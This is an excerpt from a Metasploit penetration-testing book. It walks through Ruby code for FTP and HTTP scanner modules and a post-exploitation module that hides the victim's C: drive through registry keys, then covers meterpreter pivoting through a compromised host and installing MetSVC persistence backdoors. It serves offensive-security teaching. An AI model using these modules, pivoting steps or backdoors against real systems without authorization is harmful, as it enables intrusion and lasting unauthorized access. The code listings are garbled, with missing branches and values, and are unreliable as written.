Metasploit Custom Modules and Meterpreter Scripting

(For more resources related to this topic, see here.)

Writing out a custom FTP scanner module

Let's try and build a simple module. We will write a simple FTP fingerprinting module and see how things work. Let's examine the code for the FTP module:

require 'msf/core' class Metasploit3
< Msf::Auxiliary include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
def initialize super(
'Name' => 'Apex FTP Detector',
'Description' => '1.0',
'Author' => 'Nipun Jaswal',
'License' => MSF_LICENSE ) register_options(
[ Opt::RPORT(21), ], self.class) End

We start our code by defining the required libraries to refer to. We define the statement require 'msf/core' to include the path to the core libraries at the very first step. Then, we define what kind of module we are creating; in this case, we are writing an auxiliary module exactly the way we did for the previous module. Next, we define the library files we need to include from the core library set.

Here, the include Msf::Exploit::Remote::Ftp statement refers to the /lib/msf/core/exploit/ftp.rb file and include Msf::Auxiliary::Scanner refers to the /lib/msf/core/auxiliary/scanner.rb file. We have already discussed the scanner.rb file in detail in the previous example. However, the ftp.rb file contains all the necessary methods related to FTP, such as methods for setting up a connection, logging in to the FTP service, sending an FTP command, and so on. Next, we define the information of the module we are writing and attributes such as name, description, author name, and license in the initialize method. We also define what options are required for the module to work. For example, here we assign RPORT to port 21 by default. Let's continue with the remaining part of the module:

def run_host(target_host)
connect(true, false) if(banner)
print_status("#{rhost} is running #{banner}")
end disconnect end end

We define the run_host method, which will initiate the process of connecting to the target by overriding the run_host method from the /lib/msf/core/auxiliary/scanner.rb file. Similarly, we use the connect function from the /lib/msf/core/exploit/ftp.rb file, which is responsible for initializing a connection to the host. We supply two parameters into the connect function, which are true and false. The true parameter defines the use of global parameters, whereas false turns off the verbose capabilities of the module. The beauty of the connect function lies in its operation of connecting to the target and recording the banner of the FTP service in the parameter named banner automatically, as shown in the following screenshot:

Now we know that the result is stored in the banner attribute. Therefore, we simply print out the banner at the end and we disconnect the connection to the target.

This was an easy module, and I recommend that you should try building simple scanners and other modules like these.

Nevertheless, before we run this module, let's check whether the module we just built is correct with regards to its syntax or not. We can do this by passing the module from an in-built Metasploit tool named msftidy as shown in the following screenshot:

We will get a warning message indicating that there are a few extra spaces at the end of line number 19. Therefore, when we remove the extra spaces and rerun msftidy, we will see that no error is generated. This marks the syntax of the module to be correct.

Now, let's run this module and see what we gather:

We can see that the module ran successfully, and it has the banner of the service running on port 21, which is Baby FTP Server.

For further reading on the acceptance of modules in the Metasploit project, refer to

Writing out a custom HTTP server scanner

Now, let's take a step further into development and fabricate something a bit trickier. We will create a simple fingerprinter for HTTP services, but with a slightly more complex approach. We will name this file http_myscan.rb as shown in the following code snippet:

require 'rex/proto/http' require 'msf/core'
class Metasploit3 < Msf::Auxiliary include
Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner
def initialize super( 'Name' => 'Server Service Detector',
'Description' => 'Detects Service On Web Server, Uses GET to Pull Out Information',
'Author' => 'Nipun_Jaswal', 'License' => MSF_LICENSE ) end

We include all the necessary library files as we did for the previous modules. We also assign general information about the module in the initialize method, as shown in the following code snippet:

def os_fingerprint(response)
if not response.headers.has_key?('Server')
return "Unknown OS (No Server Header)"
case response.headers['Server']
when /Win32/, /\(Windows/, /IIS/
os = "Windows"
when /Apache\//
os = "*Nix"
os = "Unknown Server Header Reporting: "+response.headers['Server']
return os
def pb_fingerprint(response)
if not response.headers.has_key?('X-Powered-By')
resp = "No-Response" else
resp = response.headers['X-Powered-By']
end return resp end def run_host(ip)
res = send_request_raw({'uri' => '/', 'method' => 'GET' })
return if not res os_info=os_fingerprint(res)
fp = http_fingerprint(res)
print_status("#{ip}:#{rport} is running
#{fp} version And Is Powered By:
#{pb} Running On #{os_info}") end

The preceding module is similar to the one we discussed in the very first example. We have the run_host method here with ip as a parameter, which will open a connection to the host. Next, we have send_request_raw, which will fetch the response from the website or web server at / with a GET request. The result fetched will be stored into the variable named res.

We pass the value of the response in res to the os_fingerprint method. This method will check whether the response has the Server key in the header of the response; if the Server key is not present, we will be presented with a message saying Unknown OS.

However, if the response header has the Server key, we match it with a variety of values using regex expressions. If a match is made, the corresponding value of os is sent back to the calling definition, which is the os_info parameter.

Now, we will check which technology is running on the server. We will create a similar function, pb_fingerprint, but will look for the X-Powered-By key rather than Server. Similarly, we will check whether this key is present in the response code or not. If the key is not present, the method will return No-Response; if it is present, the value of X-Powered-By is returned to the calling method and gets stored in a variable, pb. Next, we use the http_fingerprint method that we used in the previous examples as well and store its result in a variable, fp.

We simply print out the values returned from os_fingerprint, pb_fingerprint, and http_fingerprint using their corresponding variables. Let's see what output we'll get after running this module:

Msf auxiliary(http_myscan) > run [*] is running Microsoft-IIS/
7.5 version And Is Powered By: ASP.NET Running On Windows
[*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

Writing out post-exploitation modules

Now, as we have seen the basics of module building, we can take a step further and try to build a post-exploitation module. A point to remember here is that we can only run a post-exploitation module after a target compromises successfully. So, let's begin with a simple drive disabler module which will disable C: at the target system:

require 'msf/core' require 'rex'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry
def initialize super(
'Name' => 'Drive Disabler Module',
'Description' => 'C Drive Disabler Module',
'License' => MSF_LICENSE,
'Author' => 'Nipun Jaswal' )

We started in the same way as we did in the previous modules. We have added the path to all the required libraries we need in this post-exploitation module. However, we have added include Msf::Post::Windows::Registry on the 5th line of the preceding code, which refers to the /core/post/windows/registry.rb file. This will give us the power to use registry manipulation functions with ease using Ruby mixins. Next, we define the type of module and the intended version of Metasploit. In this case, it is Post for post-exploitation and Metasploit3 is the intended version. We include the same file again because this is a single file and not a separate directory. Next, we define necessary information about the module in the initialize method just as we did for the previous modules. Let's see the remaining part of the module:

def run key1="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
print_line("Disabling C Drive") meterpreter_registry_setvaldata
print_line("Setting No Drives For C") meterpreter_registry_setvaldata
print_line("Removing View On The Drive") print_line("Disabled C Drive")
end end

We created a variable called key1, and we stored the path of the registry where we need to create values to disable the drives in it. As we are in a meterpreter shell after the exploitation has taken place, we will use the meterpreter_registry_setval function from the /core/post/windows/registry.rb file to create a registry value at the path defined by key1.

This operation will create a new registry key named NoDrives of the REG_DWORD type at the path defined by key1. However, you might be wondering why we have supplied 4 as the bitmask.

To calculate the bitmask for a particular drive, we have a little formula, 2^([drive character serial number]-1) . Suppose, we need to disable the C drive. We know that character C is the third character in alphabets. Therefore, we can calculate the exact bitmask value for disabling the C drive as follows:

2^ (3-1) = 2^2= 4

Therefore, the bitmask is 4 for disabling C:.

We also created another key, NoViewOnDrives, to disable the view of these drives with the exact same parameters.

Now, when we run this module, it gives the following output:

So, let's see whether we have successfully disabled C: or not:

Bingo! No C:. We successfully disabled C: from the user's view. Therefore, we can create as many post-exploitation modules as we want according to our need. I recommend you put some extra time toward the libraries of Metasploit.

Make sure you have user-level access rather than SYSTEM for the preceding script to work, as SYSTEM privileges will not create the registry under HKCU. In addition to this, we have used HKCU instead of writing HKEY_CURRENT_USER, because of the inbuilt normalization that will automatically create the full form of the key. I recommend you check the registry.rb file to see the various available methods.

Breakthrough meterpreter scripting

The meterpreter shell is the deadliest thing that a victim can hear if an attacker compromises their system. Meterpreter gives the attacker a much wider approach to perform a variety of tasks on the compromised system. In addition to this, meterpreter has many built-in scripts, which makes it easier for an attacker to attack the system. These scripts perform simple and tedious tasks on the compromised system. In this section, we will look at those scripts, what they are made of, and how we can leverage a script in meterpreter.

The basic meterpreter commands cheat sheet is available at

Essentials of meterpreter scripting

As far as we have seen, we have used meterpreter in situations where we needed to perform some additional tasks on the system. However, now we will look at some of the advanced situations that may arise during a penetration test, where the scripts already present in meterpreter seem to be of no help to us. Most likely, in this kind of situation, we may want to add our custom functionalities to meterpreter and perform the required tasks. However, before we proceed to add custom scripts in meterpreter, let's perform some of the advanced features of meterpreter first and understand its power.

Pivoting the target network

Pivoting refers to accessing the restricted system from the attacker's system through the compromised system. Consider a scenario where the restricted web server is only available to Alice's system. In this case, we will need to compromise Alice's system first and then use it to connect to the restricted web server. This means that we will pivot all our requests through Alice's system to make a connection to the restricted web server. The following diagram will make things clear:

Considering the preceding diagram, we have three systems. We have Mallory (Attacker), Alice's System, and the restricted Charlie's Web Server. The restricted web server contains a directory named restrict, but it is only accessible to Alice's system, which has the IP address However, when the attacker tries to make a connection to the restricted web server, the following error generates:

We know that Alice, being an authoritative person, will have access to the web server. Therefore, we need to have some mechanism that can pass our request to access the web server through Alice's system. This required mechanism is pivoting.

Therefore, the first step is to break into Alice's system and gain the meterpreter shell access to the system. Next, we need to add a route to the web server. This will allow our requests to reach the restricted web server through Alice's system. Let's see how we can do that:

Running the autoroute script with the parameter as the IP address of the restricted server using the –s switch will add a route to Charlie's restricted server from Alice's compromised system. However, we can do this manually as well. Refer to for more information on manually adding a route to Windows operating systems.

Next, we need to set up a proxy server that will pass our requests through the meterpreter session to the web server.

Being Mallory, we need to launch an auxiliary module for passing requests via a meterpreter to the target using auxiliary/server/socks4a. Let's see how we can do that:

In order to launch the socks server, we set SRVHOST to and SRVPORT to 1080 and run the module.

Next, we need to reconfigure the settings in the etc/proxychains.conf file by adding the auxiliary server's address to it, that is, on port 1080, as shown in the following screenshot:

We are now all set to use the proxy in any tool, for example, Firefox, Chrome, and so on. Let's configure the proxy settings in the browser as follows:

Let's open the restricted directory of the target web server again:

Success! We have accessed the restricted area with ease. We have an IP logger script running at the target web server in the directory named restrict. Let's see what it returns:

Success again! We are browsing the web server with the IP of our compromised system, which is Alice's system. Whatever we browse goes through the compromised system and the target web server thinks that it is Alice who is accessing the system. However, our actual IP address is

Let's revise what we did because it may have been a bit confusing:

  • We started by compromising Alice's system

  • We added a route to Charlie's restricted web server from Alice's system through a meterpreter installed in Alice's system

  • We set up a socks proxy server to automatically forward all the traffic through the meterpreter to Alice's system

  • We reconfigured the proxy chains file with the address of our socks server

  • We configured our browser to use a socks proxy with the address of our socks server

Refer to for more information on using Nessus scans over a meterpreter shell through socks to perform internal scanning of the target's network.

Setting up persistent access

After gaining access to the target system, it is mandatory to retain that access forever. Meterpreter permits us to install backdoors on the target using two different approaches: MetSVC and Persistence.

Let's see how MetSVC works.

The MetSVC service is installed in the compromised system as a service. Moreover, it opens a port permanently for the attacker to connect whenever he or she wants.

Installing MetSVC at the target is easy. Let's see how we can do this:

We can clearly see that the MetSVC service creates a service at port 31337 and uploads the malicious files as well.

Later, whenever access is required to this service, we need to use the metsvc_bind_tcp payload with an exploit handler script, which will allow us to connect to the service again as shown in the following screenshot:

The effect of MetSVC remains even after a reboot of the target machine. This is handy when we need permanent access to the target system, as it also saves time that is needed for re-exploitation.

API calls and mixins

We just saw how we could perform advanced tasks with meterpreter. This indeed makes the life of a penetration tester easier.

Now, let's dig deep into the working of meterpreter and uncover the basic building process of meterpreter's modules and scripts. This is because sometimes it might happen that meterpreter alone is not good enough to perform all the required tasks. In that case, we need to build our custom meterpreter modules and can perform or automate various tasks required at the time of exploitation.

Let's first understand the basics of meterpreter scripting. The base for coding with meterpreter is the Application Programming Interface (API) calls and mixins. These are required to perform specific tasks using a specific Windows-based Dynamic Link Library (DLL) and some common tasks using a variety of built in Ruby-based modules.

Mixins are Ruby-programming-based classes that contain methods from various other classes. Mixins are extremely helpful when we perform a variety of tasks at the target system. In addition to this, mixins are not exactly part of IRB, but they can be very helpful to write specific and advanced meterpreter scripts with ease. However, for more information on mixins, refer to

I recommend that you all have a look at the /lib/rex/post/meterpreter and /lib/msf/scripts/meterpreter directories to check out various libraries used by meterpreter.

API calls are Windows-specific calls used to call out specific functions from a Windows DLL file.

Fabricating custom meterpreter scripts

Let's work out a simple example meterpreter script, which will check whether we are the admin user, whether we have system-level access, and whether the UAC is enabled or not:

isadd= is_admin?
print_line("Current User Is an Admin User")
print_line("Current User Is Not an Admin User")
issys= is_system?
print_line("Running With System Privileges")
print_line("Not a System Level Access")
end isu = is_uac_enabled?
print_line("UAC Enabled")
print_line("UAC Not Enabled")

The script starts by calling the is_admin method from the /lib/msf/core/post/windows/priv.rb file and storing the Boolean result in a variable named isadd. Next, we simply check whether the value in the isadd variable is true or not. However, if it is true, it prints out a statement indicating that the current user is the admin. Next, we perform the same for the is_system and is_uac_enabled methods from the same file in our script.

This is one of the simplest scripts. This script will perform basic functions as its function name suggests. However, a question that arises here is that /lib/msf/scripts/meterpreter contains only five files with no function defined in them, so from where did meterpreter execute these functions? However, we can see these five files as shown in the following screenshot:

When we open these five files, we will find that these scripts have included all the necessary library files from a variety of sources within Metasploit. Therefore, we do not need to additionally include these functions' library files into it. After analyzing the /lib/msf/scripts/meterpreter.rb file, we find that it includes all these five files as seen in the preceding screenshot. These five files further include all the required files from various places in Metasploit.

Let's save this code in the /scripts/meterpreter/myscript1.rb directory and launch this script from meterpreter. This will give you an output similar to the following screenshot:

We can clearly see how easy it was to create meterpreter scripts and perform a variety of tasks and task automations as well. I recommend you examine all the included files within these five files discussed previously.


In this article, we learned how to write custom FTP scanner module, custom HTTP server scanner, and post-exploitation modules. We learned about meterpreter scripting, pivoting the target network, and setting up persistent access. We also learned about API calls and mixins and how to fabricate custom meterpreter scripts.

Resources for Article:

Further resources on this subject:

You've been reading an excerpt of:

Mastering Metasploit

Explore Title